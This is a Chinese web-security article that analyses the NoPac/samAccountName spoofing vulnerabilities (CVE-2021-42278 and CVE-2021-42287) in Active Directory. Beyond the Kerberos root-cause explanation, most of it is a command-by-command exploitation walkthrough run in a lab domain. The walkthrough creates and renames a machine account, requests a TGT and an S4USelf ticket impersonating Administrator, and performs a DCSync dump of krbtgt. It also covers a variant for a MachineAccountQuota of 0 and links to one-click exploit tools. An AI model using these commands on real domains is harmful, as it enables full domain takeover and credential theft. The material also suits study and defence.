位置:首页 > WEB安全

NoPac/samAccountName Spoofing漏洞深入分析

2022-03-07 11:02:57 来源:

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

事件描述

2021年11月9日,微软发布了11月安全补丁,其中修复了两个域内提权漏洞CVE-2021-42287和CVE-2021-42278

但由于POC并未及时公开,所以并未引起广泛关注

到了2021年12月10日,两个漏洞的利用exp被放出,漏洞被命名为samAccountName Spoofing漏洞,允许攻击者在仅获得一个合法域账号后提权至域管权限

影响范围:所有windows机器

漏洞猜想

为什么会在这里提到漏洞猜想,主要原因是由于当exp放出后在国内引起了比较大的反响,第一时间就有很多公众号及文章发表了针对该漏洞的看法,但是有不少文章只是针对微软放出的补丁进行了“合理”的猜想,并没有去证实并最终导致猜想错误。所以之后也有文章指出,“国内所有的文章所说的原理都是错误的”

回过头来看看为什么会造成这么多误会

这是微软放出的针对cve-2021-42287的补丁说明,在最后一段文字中微软提出为所有TGT票据加入PAC的缓解措施

所以当时有不少作者将漏洞的成因归结到PAC上,类似MS14-068,先通过CVE-2021-42278创建一个名字为DC(不带$)的机器用户,在申请TGT时选择不申请PAC,之后用没PAC的TGT在申请ST时,让TGS误以为当前用户是DC$,就生成一个客户端被识别为域控PAC附在ST中返回了

漏洞逻辑

到目前为止已经有非常多的分析文章,从xp源码入手,从kerberos数据包入手,将整个原理讲的很明白了

  1. 控制一个机器账户权限,例如machine$
  2. 修改machine$机器用户的samAccountName属性为DC
  3. 接着用该用户DC请求一张带有PAC的正常TGT
  4. 将该用户samAccountName属性还原
  5. 使用该TGT通过S4USelf向KDC请求访问域控cifs等服务的ST(由于S4USelf并未校验当前用户是否有委派协议,所以可以通过S4USelf请求ST;KDC无法在活动目录中找到samAccountName为DC的用户,会去找DC$用户,那么通过S4USelf模拟域管请求DC$是合法的,综上KDC会返回域管访问域控cifs的ST)

结合exp进行分析:

随机生成一个机器用户

连接ldap,获取ms-DS-MachineAccountQuota(MAQ)属性值

获取域控信息

随机选择一个域管权限进行伪造

当MAQ这里为0时,脚本没有直接退出未进行攻击,当MAQ为0时的攻击手法后续会讲到

通过SAMR添加起初随机生成的计算机用户

当计算机用户创建成功后,将该计算机用户的sAMAccountName属性修改为域控的hostname

用这个新用户去申请TGT

之后再将sAMAccountName属性修改回一开始生成的用户名

然后去用该用户通过s4uself中的GETST去为随机域管申请域控cifs服务的ST

最后将该票据导入内存,通过smbexec进行连接

漏洞成因

1.CVE-2021-42278

这个漏洞大家都没有什么异议,正常来说机器用户的用户名以$结尾,但是域控并没有校验sAMAccountName属性,从而导致可以将机器用户的sAMAccountName修改为域控的hostname

2.KDC在无法找到用户时

我们在申请ST时,是模拟域管请求DC,但是在请求ST时我们已经将新增的机器用户的sAMAccountName属性修改会原来的值,导致KDC无法从活动目录找到DC用户。通过泄漏的xp源码可以找到,当KDC找不到DC时,就会去找DC$(这里借用谢公子的图)

3.高权限pac

首先要知道在kerberos认证中,当申请的TGT中不包含PAC,那么TGS也会返回一个无PAC的ST,那么用户在拿着TS去访问服务的时候,服务无法通过PAC信息去和KDC的ACL匹配用户权限,就不会让用户访问资源

当申请的TGT中存在PAC时,KDC会直接将PAC拷贝到ST中,但是PAC在TGT中又是经过签名的,我们无法进行篡改,只能尝试重新生成伪造一个高权限的PAC,有两种场景KDC会生成新的PAC

  1. S4USelf请求,KDC在校验S4USelf请求合法后,会根据S4USelf模拟的用户生成一个该用户的PAC
  2. 跨域请求TGS时,TGT中没有携带PAC,KDC也会生成新的PAC

那么在这个漏洞中采取的方法就是通过S4USelf生成新的PAC

漏洞利用

手动分步骤攻击

1.创建机器用户

python3 addcomputer.py -computer-name ”machine$“ -computer-pass “P@ssw0rd” -dc-ip 192.168.159.149 "motoo.nc/klion:admin!@# 45" -method SAMR -debug# mac中需将双引号转为单引号python3 addcomputer.py -computer-name "machine66$" -computer-pass "123456" -dc-ip 192.168.159.149 -domain-netbios motoo.nc "motoo.nc/klion:admin!@# 45" -debug# Powermad.ps1import-module .\Powermad.ps1$password = ConvertTo-SecureString “123456” -AsPlainText -ForceNew-MachineAccount -MachineAccount “machine77$” -Password $($password) -Domain "motoo.nc" -DomainController "motoo-dcsrv.motoo.nc" -Verbose

2.清除机器用户的SPN

python3 adspn.py -u "motoo.nc\klion" -p "admin!@# 45" -t "machine$" -c 192.168.159.149python3 addspn.py -u 'motoo.nc\devadm' -p 'dev123!@# 45' -t 'motoo-javaweb$' -c 192.168.159.149

3.修改机器用户samAccountName为域控hostname

# 得知域控hostname为motoo-dcsrvpython3 renameMachine.py -current-name "machine$" -new-name "motoo-dcsrv" -dc-ip 192.168.159.149 "motoo.nc/klion:admin!@# 45"

4.请求motoo-dcsrv的TGT

python3 getTGT.py -dc-ip 192.168.159.149 "motoo.nc/motoo-dcsrv:P@ssw0rd"# rubuesRubeus.exe asktgt /user:"motoo-dcsrv" /password:"'P@ssw0rd'" /domain:"motoo.nc" /dc:"motoo-dcsrv.motoo.nc" /nowrap /ptt

5.将机器用户的samAccountName改回来

python3 renameMachine.py -current-name "motoo-dcsrv" -new-name "machine$" "motoo.nc/klion:admin!@# 45" -dc-ip 192.168.159.149

6.通过S4USelf申请ST,用

https://github.com/SecureAuthCorp/impacket/pull/1260,使用第一版s4uself的pr会出现预认证失败

KRB5CCNAME=/Users/huxuhao/Desktop/motoo-dcsrv.ccache python3 getST_NoPac.py -impersonate Administrator -k -no-pass -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv' -alt-service 'cifs/motoo-dcsrv.motoo.nc' -s4u2self -spn motoo-dcsrv -debug# rubeusRubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/motoo-dcsrv.motoo.nc" /dc:"motoo-dcsrv.motoo.nc" /ptt /ticket:TGT

7.dcsync

export KRB5CCNAME=/Users/huxuhao/Desktop/Administrator@motoo-dcsrv@MOTOO.NC.ccachepython3 secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 192.168.159.149 @motoo-dcsrv.motoo.nc# smbexecKRB5CCNAME=/Users/huxuhao/Desktop/Administrator.ccache python3 smbexec.py -target-ip 192.168.159.149 -dc-ip 192.168.159.149 -k -no-pass @'motoo-dcsrv.motoo.nc'

也可以用sam_the_admin一键利用

https://github.com/WazeHell/sam-the-admin

windows下用nopac

https://github.com/cube0x0/noPac

MAQ为0时

我们回顾下这个漏洞,最初的利用条件就是需要存在一个可以添加机器用户的域用户,那么当我们发现域内的MAQ(msDS-MachineAccountQuota)被置为0后,该如何进行利用

可以看到现在域用户无法添加机器用户了

但是域管还是可以添加的

那么此时的思路就是通过拉机器入域的域用户,通过该用户修改域机器的samname后进行利用,在实际攻击中机会遇到两种情况

1.获取域内机器权限

此时要做的就是找到将该机器拉入域的用户

# 查找所有机器用户的 mS-DS-CreatorSIDAdFind.exe -f "&(objectcategory=computer)" mS-DS-CreatorSID# 查找指定机器用户的Creater-sidAdFind.exe -f "&(objectcategory=computer)(name=motoo-javaweb)" mS-DS-CreatorSID# 查询sid对应的域用户AdFind.exe -sc adsid:S-1-5-21-284927032-1122706408-2778656994-1127 -dn

在定位到域用户后,比如这里在获取motoo-javaweb机器的最高权限后,查询发现是由devadm用户拉入域的,就需要去获取devadm用户权限(用账号密码即可),然后通过该用户权限去重复上面的攻击即可,注意需要先把SPN清除

2.获取域用户权限

此时要做的就是找到当前用户拉入域的域机器

# 找到域机器的sidAdFind.exe -sc u:devadm objectSid# 通过mS-DS-CreatorSID定位域机器AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=S-1-5-21-284927032-1122706408-2778656994-1127)" -dn

这里获取到了devadm域用户权限后,发现拉入了两台机器入域,但是在申请tgt的时候需要javaweb的凭据,那么又会出现两种可能

  • 如果我们有javaweb的最高权限,可以直接抓它机器用户的凭据
  • 如果我们没有javaweb的权限,只能通过devadm用户去重置javaweb机器用户的密码

这里以域内机器用户:motoo-iisweb进行实验

首先motoo-iisweb$的ntlm为:

dd19bddf4b6ebb154bd83a00274c5e87

可以看到此时本地和ntds上保留的hash相同

假设现在我们获取到了域用户:motoo\sysadm : sys123!@# 45的权限,且他是motoo-iisweb$的加域用户,那么我们在未能获取到motoo-iisweb$权限且MAQ为0的前提下, 通过sysadm用户重置motoo-iisweb$的密码为123456

python3 resetpasswd.py -user 'motoo-iisweb$' -new-pass '123456' -dc-ip 192.168.159.149 'motoo/sysadm:sys123!@# 45'python3 secretsdump.py motoo.nc/motoo-dcsrv$\@192.168.159.149 -hashes :4eb31e3732f181443433ed77236523a5 -just-dc-user motoo-iisweb$

此时活动目录上该机器用户的密码已被更改,然后清除该机器用户SPN,这里的SPN需要保存下来,再攻击结束后需要还原

WSMAN/Motoo-IISWebWSMAN/Motoo-IISWeb.Motoo.ncTERMSRV/MOTOO-IISWEBTERMSRV/Motoo-IISWeb.Motoo.ncRestrictedKrbHost/MOTOO-IISWEBHOST/MOTOO-IISWEBRestrictedKrbHost/Motoo-IISWeb.Motoo.ncHOST/Motoo-IISWeb.Motoo.nc
python3 addspn.py -u 'motoo.nc\sysadm' -p 'sys123!@# 45' -t 'motoo-iisweb$' -c 192.168.159.149

修改机器用户的samAccountName为域控hostname

python3 renameMachine.py -current-name 'motoo-iisweb$' -new-name 'motoo-dcsrv' -dc-ip 192.168.159.149 'motoo.nc/sysadm:sys123!@# 45'

通过机器账户的权限去请求TGT

python3 getTGT.py -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv:123456'

将机器用户的samAccountName改回来

python3 renameMachine.py -current-name 'motoo-dcsrv' -new-name 'motoo-iisweb$' 'motoo.nc/sysadm:sys123!@# 45' -dc-ip 192.168.159.149

通过S4USelf申请ST,使用

https://github.com/SecureAuthCorp/impacket/pull/1260

KRB5CCNAME=/Users/huxuhao/Desktop/motoo-dcsrv.ccache python3 getST_NoPac.py -impersonate Administrator -k -no-pass -dc-ip 192.168.159.149 'motoo.nc/motoo-dcsrv' -alt-service 'cifs/motoo-dcsrv.motoo.nc' -s4u2self -spn motoo-dcsrv -debug

dcsync

exportKRB5CCNAME=/Users/huxuhao/Desktop/Administrator@motoo-dcsrv@MOTOO.NC.ccachepython3 secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 192.168.159.149 @motoo-dcsrv.motoo.nc

此时在获取了域管的ntlm:

7c85389bc79a4eb184e620b6e8c37905后,需要去获取motoo-iisweb$机器用户的hash,并将其还原python3 secretsdump.py motoo.nc/administrator\@192.168.159.154 -hashes :7c85389bc79a4eb184e620b6e8c37905

可以看到这里通过域管权限获取到了motoo-iisweb$机器用户的ntlm为:

dd19bddf4b6ebb154bd83a00274c5e87,和我们实验开始前看到的是一样的

然后通过smbresetpasswd.py去还原hash

python3 smbresetpasswd.py -resetuser motoo-iisweb$ -newhashes :dd19bddf4b6ebb154bd83a00274c5e87 -hashes :7c85389bc79a4eb184e620b6e8c37905 -dc-ip 192.168.159.149 motoo/administrator@192.168.159.149python3 secretsdump.py motoo.nc/motoo-dcsrv$\@192.168.159.149 -hashes :4eb31e3732f181443433ed77236523a5 -just-dc-user motoo-iisweb$

可以看到此时已经将ntlm还原回去了,尝试将motoo-iisweb$注销后重新登录,查看是否存在脱域情况

那么这是因为我们没有把机器账户的SPN进行还原,把之前保存的SPN一条条通过addspn进行还原即可

python3 addspn.py -u 'motoo.nc\sysadm' -p 'sys123!@# 45' -t 'motoo-iisweb$' ldap://192.168.159.149 -s HOST/MOTOO-IISWEB...

再尝试登录,可以正常登录机器账户,攻击结束

修复建议

修复建议:及时安装补丁

补丁地址

https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041

基本上从原理到利用都讲到了,剩下的细节网上也都有文章分析透彻了。

目前在利用中碰到因为SPN问题(MAQ为0时,还原SPN的问题;及申请ST时,SPN的问题)利用失败的情况,尚未看到有文章提到,大家觉得分析或利用中有任何问题可以随时探讨哈

后续会整一个MAQ为0时的自动化利用,流程其实就是文章分析的这样